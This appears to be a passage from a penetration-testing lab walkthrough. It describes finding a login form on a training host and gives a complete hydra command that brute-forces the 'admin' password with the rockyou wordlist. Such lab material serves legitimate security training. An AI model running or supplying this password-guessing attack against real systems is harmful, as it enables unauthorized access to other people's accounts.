We find an HTTP login form (Figure 1), attempt a failed login, and select something unique from the source code of the HTTP response (Figure 2).
hydra -l admin -P /usr/share/wordlists/rockyou.txt monitoring.inlanefreight.local http-post-form '/login.php:username=^USER^&password=^PASS^:F=<div class="log-form">' -f -u